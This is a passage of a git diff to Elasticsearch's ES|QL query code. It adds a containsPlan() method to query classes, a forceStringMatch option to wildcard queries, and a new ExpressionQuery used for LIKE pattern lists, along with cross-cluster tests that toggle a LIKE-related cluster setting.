+        return child.containsPlan();
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/PrefixQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/PrefixQuery.java
index ede4aee3d117e..628a38f9cace0 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/PrefixQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/PrefixQuery.java
@@ -61,4 +61,9 @@ public boolean equals(Object obj) {
     protected String innerToString() {
         return field + ":" + query;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/Query.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/Query.java
index 456275a054899..0b17f1b16b4af 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/Query.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/Query.java
@@ -70,6 +70,12 @@ public final QueryBuilder toQueryBuilder() {
      */
     protected abstract String innerToString();
 
+    /**
+     * Does the result of calling {@link #asBuilder()} need the plan
+     * to serialize itself?
+     */
+    public abstract boolean containsPlan();
+
     @Override
     public boolean equals(Object obj) {
         if (obj == null || obj.getClass() != getClass()) {
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/QueryStringQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/QueryStringQuery.java
index 3a125f87254bd..14c32cd97b236 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/QueryStringQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/QueryStringQuery.java
@@ -137,4 +137,9 @@ protected String innerToString() {
     public boolean scorable() {
         return true;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RangeQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RangeQuery.java
index e7ddfd1735b28..7f8bcc3c34a47 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RangeQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RangeQuery.java
@@ -118,4 +118,9 @@ public boolean equals(Object obj) {
     protected String innerToString() {
         return field + ":" + (includeLower ? "[" : "(") + lower + ", " + upper + (includeUpper ? "]" : ")") + "@" + zoneId.getId();
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RegexQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RegexQuery.java
index b12802de4e715..0669039cde9c1 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RegexQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/RegexQuery.java
@@ -69,4 +69,9 @@ public boolean equals(Object obj) {
     protected String innerToString() {
         return field + "~ /" + regex + "/";
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermQuery.java
index 03c3b29ba15ec..040083fe3d1d7 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermQuery.java
@@ -91,4 +91,9 @@ protected String innerToString() {
     public boolean scorable() {
         return scorable;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermsQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermsQuery.java
index 68f8dd711f87a..ae1ff0f74c409 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermsQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/TermsQuery.java
@@ -53,4 +53,9 @@ public boolean equals(Object obj) {
     protected String innerToString() {
         return term + ":" + values;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/WildcardQuery.java b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/WildcardQuery.java
index 03d819cf7aa9b..e64f5f5652027 100644
--- a/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/WildcardQuery.java
+++ b/x-pack/plugin/esql-core/src/main/java/org/elasticsearch/xpack/esql/core/querydsl/query/WildcardQuery.java
@@ -12,22 +12,18 @@
 
 import java.util.Objects;
 
-import static org.elasticsearch.index.query.QueryBuilders.wildcardQuery;
-
 public class WildcardQuery extends Query {
 
     private final String field, query;
     private final boolean caseInsensitive;
+    private final boolean forceStringMatch;
 
-    public WildcardQuery(Source source, String field, String query) {
-        this(source, field, query, false);
-    }
-
-    public WildcardQuery(Source source, String field, String query, boolean caseInsensitive) {
+    public WildcardQuery(Source source, String field, String query, boolean caseInsensitive, boolean forceStringMatch) {
         super(source);
         this.field = field;
         this.query = query;
         this.caseInsensitive = caseInsensitive;
+        this.forceStringMatch = forceStringMatch;
     }
 
     public String field() {
@@ -44,14 +40,14 @@ public Boolean caseInsensitive() {
 
     @Override
     protected QueryBuilder asBuilder() {
-        WildcardQueryBuilder wb = wildcardQuery(field, query);
+        WildcardQueryBuilder wb = new WildcardQueryBuilder(field, query, forceStringMatch);
         // ES does not allow case_insensitive to be set to "false", it should be either "true" or not specified
         return caseInsensitive == false ? wb : wb.caseInsensitive(caseInsensitive);
     }
 
     @Override
     public int hashCode() {
-        return Objects.hash(field, query, caseInsensitive);
+        return Objects.hash(field, query, caseInsensitive, forceStringMatch);
     }
 
     @Override
@@ -67,11 +63,17 @@ public boolean equals(Object obj) {
         WildcardQuery other = (WildcardQuery) obj;
         return Objects.equals(field, other.field)
             && Objects.equals(query, other.query)
-            && Objects.equals(caseInsensitive, other.caseInsensitive);
+            && Objects.equals(caseInsensitive, other.caseInsensitive)
+            && Objects.equals(forceStringMatch, other.forceStringMatch);
     }
 
     @Override
     protected String innerToString() {
         return field + ":" + query;
     }
+
+    @Override
+    public boolean containsPlan() {
+        return false;
+    }
 }
diff --git a/x-pack/plugin/esql-core/src/test/java/org/elasticsearch/xpack/esql/core/querydsl/query/LeafQueryTests.java b/x-pack/plugin/esql-core/src/test/java/org/elasticsearch/xpack/esql/core/querydsl/query/LeafQueryTests.java
index d0aa9bd073ec8..5f6632eb7ba31 100644
--- a/x-pack/plugin/esql-core/src/test/java/org/elasticsearch/xpack/esql/core/querydsl/query/LeafQueryTests.java
+++ b/x-pack/plugin/esql-core/src/test/java/org/elasticsearch/xpack/esql/core/querydsl/query/LeafQueryTests.java
@@ -31,6 +31,11 @@ protected QueryBuilder asBuilder() {
         protected String innerToString() {
             return "";
         }
+
+        @Override
+        public boolean containsPlan() {
+            return false;
+        }
     }
 
     public void testEqualsAndHashCode() {
diff --git a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
index 4b5ed2b271c43..7dcf1c47567e0 100644
--- a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
+++ b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/MultiClustersIT.java
@@ -33,6 +33,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.function.Predicate;
 import java.util.stream.Collectors;
 import java.util.stream.IntStream;
 import java.util.stream.Stream;
@@ -176,11 +177,7 @@ private <C, V> void assertResultMapForLike(
             requiredCapabilities.add("like_list_on_index_fields");
         }
         // the feature is completely supported if both local and remote clusters support it
-        boolean isSupported = clusterHasCapability("POST", "/_query", List.of(), requiredCapabilities).orElse(false);
-        try (RestClient remoteClient = remoteClusterClient()) {
-            isSupported = isSupported
-                && clusterHasCapability(remoteClient, "POST", "/_query", List.of(), requiredCapabilities).orElse(false);
-        }
+        boolean isSupported = capabilitiesSupportedNewAndOld(requiredCapabilities);
 
         if (isSupported) {
             assertResultMap(includeCCSMetadata, result, columns, values, remoteOnly);
@@ -433,6 +430,53 @@ public void testLikeIndex() throws Exception {
         assertResultMapForLike(includeCCSMetadata, result, columns, values, false, false);
     }
 
+    public void testLikeIndexLegacySettingNoResults() throws Exception {
+        // the feature is completely supported if both local and remote clusters support it
+        assumeTrue("not supported", capabilitiesSupportedNewAndOld(List.of("like_on_index_fields")));
+        try (
+            ClusterSettingToggle ignored = new ClusterSettingToggle(adminClient(), "esql.query.string_like_on_index", false, true);
+            RestClient remoteClient = remoteClusterClient();
+            ClusterSettingToggle ignored2 = new ClusterSettingToggle(remoteClient, "esql.query.string_like_on_index", false, true)
+        ) {
+            // test code with the setting changed
+            boolean includeCCSMetadata = includeCCSMetadata();
+            Map<String, Object> result = run("""
+                FROM test-local-index,*:test-remote-index METADATA _index
+                | WHERE _index LIKE "*remote*"
+                | STATS c = COUNT(*) BY _index
+                | SORT _index ASC
+                """, includeCCSMetadata);
+            var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+            // we expect empty result, since the setting is false
+            var values = List.of();
+            assertResultMapForLike(includeCCSMetadata, result, columns, values, false, false);
+        }
+    }
+
+    public void testLikeIndexLegacySettingResults() throws Exception {
+        // we require that the admin client supports the like_on_index_fields capability
+        // otherwise we will get an error when trying to toggle the setting
+        // the remote client does not have to support it
+        assumeTrue("not supported", capabilitiesSupportedNewAndOld(List.of("like_on_index_fields")));
+        try (
+            ClusterSettingToggle ignored = new ClusterSettingToggle(adminClient(), "esql.query.string_like_on_index", false, true);
+            RestClient remoteClient = remoteClusterClient();
+            ClusterSettingToggle ignored2 = new ClusterSettingToggle(remoteClient, "esql.query.string_like_on_index", false, true)
+        ) {
+            boolean includeCCSMetadata = includeCCSMetadata();
+            Map<String, Object> result = run("""
+                FROM test-local-index,*:test-remote-index METADATA _index
+                | WHERE _index LIKE "*remote*:*remote*"
+                | STATS c = COUNT(*) BY _index
+                | SORT _index ASC
+                """, includeCCSMetadata);
+            var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
+            // we expect results, since the setting is false, but there is : in the LIKE query
+            var values = List.of(List.of(remoteDocs.size(), REMOTE_CLUSTER_NAME + ":" + remoteIndex));
+            assertResultMapForLike(includeCCSMetadata, result, columns, values, false, false);
+        }
+    }
+
     public void testNotLikeIndex() throws Exception {
         boolean includeCCSMetadata = includeCCSMetadata();
         Map<String, Object> result = run("""
@@ -447,12 +491,8 @@ public void testNotLikeIndex() throws Exception {
     }
 
     public void testLikeListIndex() throws Exception {
-        List<String> requiredCapabilities = new ArrayList<>(List.of("like_list_on_index_fields"));
         // the feature is completely supported if both local and remote clusters support it
-        if (capabilitiesSupportedNewAndOld(requiredCapabilities) == false) {
-            logger.info("-->  skipping testNotLikeListIndex, due to missing capability");
-            return;
-        }
+        assumeTrue("not supported", capabilitiesSupportedNewAndOld(List.of("like_list_on_index_fields")));
         boolean includeCCSMetadata = includeCCSMetadata();
         Map<String, Object> result = run("""
             FROM test-local-index,*:test-remote-index METADATA _index
@@ -466,12 +506,7 @@ public void testLikeListIndex() throws Exception {
     }
 
     public void testNotLikeListIndex() throws Exception {
-        List<String> requiredCapabilities = new ArrayList<>(List.of("like_list_on_index_fields"));
-        // the feature is completely supported if both local and remote clusters support it
-        if (capabilitiesSupportedNewAndOld(requiredCapabilities) == false) {
-            logger.info("-->  skipping testNotLikeListIndex, due to missing capability");
-            return;
-        }
+        assumeTrue("not supported", capabilitiesSupportedNewAndOld(List.of("like_list_on_index_fields")));
         boolean includeCCSMetadata = includeCCSMetadata();
         Map<String, Object> result = run("""
             FROM test-local-index,*:test-remote-index METADATA _index
@@ -484,13 +519,8 @@ public void testNotLikeListIndex() throws Exception {
         assertResultMapForLike(includeCCSMetadata, result, columns, values, false, true);
     }
 
-    public void testNotLikeListKeyWord() throws Exception {
-        List<String> requiredCapabilities = new ArrayList<>(List.of("like_list_on_index_fields"));
-        // the feature is completely supported if both local and remote clusters support it
-        if (capabilitiesSupportedNewAndOld(requiredCapabilities) == false) {
-            logger.info("-->  skipping testNotLikeListIndex, due to missing capability");
-            return;
-        }
+    public void testNotLikeListKeyword() throws Exception {
+        assumeTrue("not supported", capabilitiesSupportedNewAndOld(List.of("like_with_list_of_patterns")));
         boolean includeCCSMetadata = includeCCSMetadata();
         Map<String, Object> result = run("""
             FROM test-local-index,*:test-remote-index METADATA _index
@@ -499,7 +529,11 @@ public void testNotLikeListKeyWord() throws Exception {
             | SORT _index ASC
             """, includeCCSMetadata);
         var columns = List.of(Map.of("name", "c", "type", "long"), Map.of("name", "_index", "type", "keyword"));
-        var values = List.of(List.of(localDocs.size(), localIndex));
+        Predicate<Doc> filter = d -> false == (d.color.contains("blue") || d.color.contains("red"));
+        var values = List.of(
+            List.of((int) remoteDocs.stream().filter(filter).count(), REMOTE_CLUSTER_NAME + ":" + remoteIndex),
+            List.of((int) localDocs.stream().filter(filter).count(), localIndex)
+        );
         assertResultMapForLike(includeCCSMetadata, result, columns, values, false, true);
     }
 
@@ -545,4 +579,28 @@ private static boolean capabilitiesEndpointAvailable() {
     private static boolean includeCCSMetadata() {
         return ccsMetadataAvailable() && randomBoolean();
     }
+
+    public static class ClusterSettingToggle implements AutoCloseable {
+        private final RestClient client;
+        private final String settingKey;
+        private final Object originalValue;
+
+        public ClusterSettingToggle(RestClient client, String settingKey, Object newValue, Object restoreValue) throws IOException {
+            this.client = client;
+            this.settingKey = settingKey;
+            this.originalValue = restoreValue;
+            setValue(newValue);
+        }
+
+        private void setValue(Object value) throws IOException {
+            Request set = new Request("PUT", "/_cluster/settings");
+            set.setJsonEntity("{\"persistent\": {\"" + settingKey + "\": " + value + "}}");
+            ESRestTestCase.assertOK(client.performRequest(set));
+        }
+
+        @Override
+        public void close() throws IOException {
+            setValue(originalValue == null ? "null" : originalValue);
+        }
+    }
 }
diff --git a/x-pack/plugin/esql/qa/testFixtures/src/main/java/org/elasticsearch/xpack/esql/EsqlTestUtils.java b/x-pack/plugin/esql/qa/testFixtures/src/main/java/org/elasticsearch/xpack/esql/EsqlTestUtils.java
index 7ec9ee6344551..210a4be28f840 100644
--- a/x-pack/plugin/esql/qa/testFixtures/src/main/java/org/elasticsearch/xpack/esql/EsqlTestUtils.java
+++ b/x-pack/plugin/esql/qa/testFixtures/src/main/java/org/elasticsearch/xpack/esql/EsqlTestUtils.java
@@ -863,7 +863,7 @@ static Version randomVersion() {
     }
 
     public static WildcardLike wildcardLike(Expression left, String exp) {
-        return new WildcardLike(EMPTY, left, new WildcardPattern(exp));
+        return new WildcardLike(EMPTY, left, new WildcardPattern(exp), false);
     }
 
     public static RLike rlike(Expression left, String exp) {
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
index 30f90053eb8e7..b23ed78177e21 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/action/EsqlCapabilities.java
@@ -1212,6 +1212,8 @@ public enum Cap {
 
         LIKE_WITH_LIST_OF_PATTERNS,
 
+        LIKE_LIST_ON_INDEX_FIELDS,
+
         /**
          * Support parameters for SAMPLE command.
          */
@@ -1229,7 +1231,10 @@ public enum Cap {
          * (Re)Added EXPLAIN command
          */
         EXPLAIN(Build.current().isSnapshot()),
-
+        /**
+         * Support improved behavior for LIKE operator when used with index fields.
+         */
+        LIKE_ON_INDEX_FIELDS,
         /**
          * Support avg with aggregate metric doubles
          */
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/capabilities/TranslationAware.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/capabilities/TranslationAware.java
index 1a2fd81db4b6c..730cccb4dce45 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/capabilities/TranslationAware.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/capabilities/TranslationAware.java
@@ -7,8 +7,11 @@
 
 package org.elasticsearch.xpack.esql.capabilities;
 
+import org.apache.lucene.search.MultiTermQuery.RewriteMethod;
 import org.elasticsearch.compute.lucene.LuceneTopNSourceOperator;
 import org.elasticsearch.compute.operator.FilterOperator;
+import org.elasticsearch.index.mapper.MappedFieldType;
+import org.elasticsearch.index.query.SearchExecutionContext;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.querydsl.query.Query;
 import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
@@ -47,6 +50,23 @@ static TranslationAware.Translatable translatable(Expression exp, LucenePushdown
      */
     Query asQuery(LucenePushdownPredicates pushdownPredicates, TranslatorHandler handler);
 
+    /**
+     * Translates this expression into a Lucene {@link org.apache.lucene.search.Query}.
+     * <p>
+     * Implementations should use the provided field type, rewrite method, and search execution context
+     * to construct an appropriate Lucene query for this expression.
+     * By default, this method throws {@link UnsupportedOperationException}; override it in subclasses
+     * that support Lucene query translation.
+     * </p>
+     */
+    default org.apache.lucene.search.Query asLuceneQuery(
+        MappedFieldType fieldType,
+        RewriteMethod constantScoreRewrite,
+        SearchExecutionContext context
+    ) {
+        throw new UnsupportedOperationException("asLuceneQuery is not implemented for " + getClass().getName());
+    }
+
     /**
      * Subinterface for expressions that can only process single values (and null out on MVs).
      */
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWith.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWith.java
index 52dedcb670372..5a165d7c822a0 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWith.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWith.java
@@ -151,7 +151,7 @@ public Query asQuery(LucenePushdownPredicates pushdownPredicates, TranslatorHand
         // TODO: Get the real FoldContext here
         var wildcardQuery = "*" + QueryParser.escape(BytesRefs.toString(suffix.fold(FoldContext.small())));
 
-        return new WildcardQuery(source(), fieldName, wildcardQuery);
+        return new WildcardQuery(source(), fieldName, wildcardQuery, false, false);
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWith.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWith.java
index f457bacf44268..3dc43e29f3fa9 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWith.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWith.java
@@ -148,7 +148,7 @@ public Query asQuery(LucenePushdownPredicates pushdownPredicates, TranslatorHand
         // TODO: Get the real FoldContext here
         var wildcardQuery = QueryParser.escape(BytesRefs.toString(prefix.fold(FoldContext.small()))) + "*";
 
-        return new WildcardQuery(source(), fieldName, wildcardQuery);
+        return new WildcardQuery(source(), fieldName, wildcardQuery, false, false);
     }
 
     @Override
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java
index 7f350243dc220..da7eb6d07c61e 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLike.java
@@ -122,11 +122,14 @@ public Translatable translatable(LucenePushdownPredicates pushdownPredicates) {
     public Query asQuery(LucenePushdownPredicates pushdownPredicates, TranslatorHandler handler) {
         var field = field();
         LucenePushdownPredicates.checkIsPushableAttribute(field);
-        return translateField(handler.nameOf(field instanceof FieldAttribute fa ? fa.exactAttribute() : field));
+        return translateField(
+            handler.nameOf(field instanceof FieldAttribute fa ? fa.exactAttribute() : field),
+            pushdownPredicates.flags().stringLikeOnIndex()
+        );
     }
 
     // TODO: see whether escaping is needed
-    private Query translateField(String targetFieldName) {
-        return new WildcardQuery(source(), targetFieldName, pattern().asLuceneWildcard(), caseInsensitive());
+    private Query translateField(String targetFieldName, boolean forceStringMatch) {
+        return new WildcardQuery(source(), targetFieldName, pattern().asLuceneWildcard(), caseInsensitive(), forceStringMatch);
     }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java
index 182df940136ed..d38e315b58b4f 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/regex/WildcardLikeList.java
@@ -7,26 +7,35 @@
 
 package org.elasticsearch.xpack.esql.expression.function.scalar.string.regex;
 
+import org.apache.lucene.search.MultiTermQuery.RewriteMethod;
+import org.apache.lucene.util.automaton.Automaton;
+import org.apache.lucene.util.automaton.CharacterRunAutomaton;
+import org.elasticsearch.TransportVersion;
 import org.elasticsearch.common.io.stream.NamedWriteableRegistry;
 import org.elasticsearch.common.io.stream.StreamInput;
 import org.elasticsearch.common.io.stream.StreamOutput;
+import org.elasticsearch.index.mapper.MappedFieldType;
+import org.elasticsearch.index.query.SearchExecutionContext;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
 import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
 import org.elasticsearch.xpack.esql.core.expression.predicate.regex.WildcardPattern;
 import org.elasticsearch.xpack.esql.core.expression.predicate.regex.WildcardPatternList;
-import org.elasticsearch.xpack.esql.core.querydsl.query.AutomatonQuery;
 import org.elasticsearch.xpack.esql.core.querydsl.query.Query;
 import org.elasticsearch.xpack.esql.core.querydsl.query.WildcardQuery;
 import org.elasticsearch.xpack.esql.core.tree.NodeInfo;
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.expression.function.Param;
+import org.elasticsearch.xpack.esql.io.stream.ExpressionQuery;
 import org.elasticsearch.xpack.esql.io.stream.PlanStreamInput;
 import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
 import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
 
 import java.io.IOException;
+import java.util.function.Supplier;
 import java.util.stream.Collectors;
 
+import static org.elasticsearch.index.query.WildcardQueryBuilder.expressionTransportSupported;
+
 public class WildcardLikeList extends RegexMatch<WildcardPatternList> {
     public static final NamedWriteableRegistry.Entry ENTRY = new NamedWriteableRegistry.Entry(
         Expression.class,
@@ -34,6 +43,30 @@ public class WildcardLikeList extends RegexMatch<WildcardPatternList> {
         WildcardLikeList::new
     );
 
+    Supplier<Automaton> automatonSupplier = new Supplier<>() {
+        Automaton cached;
+
+        @Override
+        public Automaton get() {
+            if (cached == null) {
+                cached = pattern().createAutomaton(caseInsensitive());
+            }
+            return cached;
+        }
+    };
+
+    Supplier<CharacterRunAutomaton> characterRunAutomatonSupplier = new Supplier<>() {
+        CharacterRunAutomaton cached;
+
+        @Override
+        public CharacterRunAutomaton get() {
+            if (cached == null) {
+                cached = new CharacterRunAutomaton(automatonSupplier.get());
+            }
+            return cached;
+        }
+    };
+
     /**
      * The documentation for this function is in WildcardLike, and shown to the users `LIKE` in the docs.
      */
@@ -92,10 +125,10 @@ protected WildcardLikeList replaceChild(Expression newLeft) {
      */
     @Override
     public Translatable translatable(LucenePushdownPredicates pushdownPredicates) {
-        if (pushdownPredicates.minTransportVersion() == null) {
+        if (supportsPushdown(pushdownPredicates.minTransportVersion())) {
             return pushdownPredicates.isPushableAttribute(field()) ? Translatable.YES : Translatable.NO;
         } else {
-            // The AutomatonQuery that we use right now isn't serializable.
+            // The ExpressionQuery we use isn't serializable to all nodes in the cluster.
             return Translatable.NO;
         }
     }
@@ -108,20 +141,40 @@ public Translatable translatable(LucenePushdownPredicates pushdownPredicates) {
     public Query asQuery(LucenePushdownPredicates pushdownPredicates, TranslatorHandler handler) {
         var field = field();
         LucenePushdownPredicates.checkIsPushableAttribute(field);
-        return translateField(handler.nameOf(field instanceof FieldAttribute fa ? fa.exactAttribute() : field));
+        String targetFieldName = handler.nameOf(field instanceof FieldAttribute fa ? fa.exactAttribute() : field);
+        return translateField(targetFieldName);
     }
 
-    /**
-     * Translates the field to a {@link WildcardQuery} using the first pattern in the list.
-     * Throws an {@link IllegalArgumentException} if the pattern list contains more than one pattern.
-     */
-    private Query translateField(String targetFieldName) {
-        return new AutomatonQuery(source(), targetFieldName, pattern().createAutomaton(caseInsensitive()), getAutomatonDescription());
+    private boolean supportsPushdown(TransportVersion version) {
+        return version == null || expressionTransportSupported(version);
     }
 
-    private String getAutomatonDescription() {
+    @Override
+    public org.apache.lucene.search.Query asLuceneQuery(
+        MappedFieldType fieldType,
+        RewriteMethod constantScoreRewrite,
+        SearchExecutionContext context
+    ) {
+        return fieldType.automatonQuery(
+            automatonSupplier,
+            characterRunAutomatonSupplier,
+            constantScoreRewrite,
+            context,
+            getLuceneQueryDescription()
+        );
+    }
+
+    private String getLuceneQueryDescription() {
         // we use the information used to create the automaton to describe the query here
         String patternDesc = pattern().patternList().stream().map(WildcardPattern::pattern).collect(Collectors.joining("\", \""));
         return "LIKE(\"" + patternDesc + "\"), caseInsensitive=" + caseInsensitive();
     }
+
+    /**
+     * Translates the field to a {@link WildcardQuery} using the first pattern in the list.
+     * Throws an {@link IllegalArgumentException} if the pattern list contains more than one pattern.
+     */
+    private Query translateField(String targetFieldName) {
+        return new ExpressionQuery(source(), targetFieldName, this);
+    }
 }
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQuery.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQuery.java
new file mode 100644
index 0000000000000..f3051b36adc06
--- /dev/null
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQuery.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+package org.elasticsearch.xpack.esql.io.stream;
+
+import org.elasticsearch.index.query.QueryBuilder;
+import org.elasticsearch.xpack.esql.core.expression.Expression;
+import org.elasticsearch.xpack.esql.core.querydsl.query.Query;
+import org.elasticsearch.xpack.esql.core.tree.Source;
+
+import java.util.Objects;
+
+/**
+ * Implements an Expression query, which matches documents based on a given expression.
+ */
+public class ExpressionQuery extends Query {
+
+    private final String targetFieldName;
+    private final Expression expression;
+
+    public ExpressionQuery(Source source, String targetFieldName, Expression expression) {
+        super(source);
+        this.targetFieldName = targetFieldName;
+        this.expression = expression;
+    }
+
+    public String field() {
+        return targetFieldName;
+    }
+
+    @Override
+    protected QueryBuilder asBuilder() {
+        return new ExpressionQueryBuilder(targetFieldName, expression);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(targetFieldName, expression);
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (this == obj) {
+            return true;
+        }
+
+        if (obj == null || getClass() != obj.getClass()) {
+            return false;
+        }
+
+        ExpressionQuery other = (ExpressionQuery) obj;
+        return Objects.equals(targetFieldName, other.targetFieldName) && Objects.equals(expression, other.expression);
+    }
+
+    @Override
+    protected String innerToString() {
+        return "ExpressionQuery{" + "field='" + targetFieldName + '\'' + '}';
+    }
+
+    @Override
+    public boolean containsPlan() {
+        return true;
+    }
+}
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQueryBuilder.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/io/stream/ExpressionQueryBuilder.java
new file mode 100644
index 0000000000000..7c4d26f2dff86
--- /dev/null
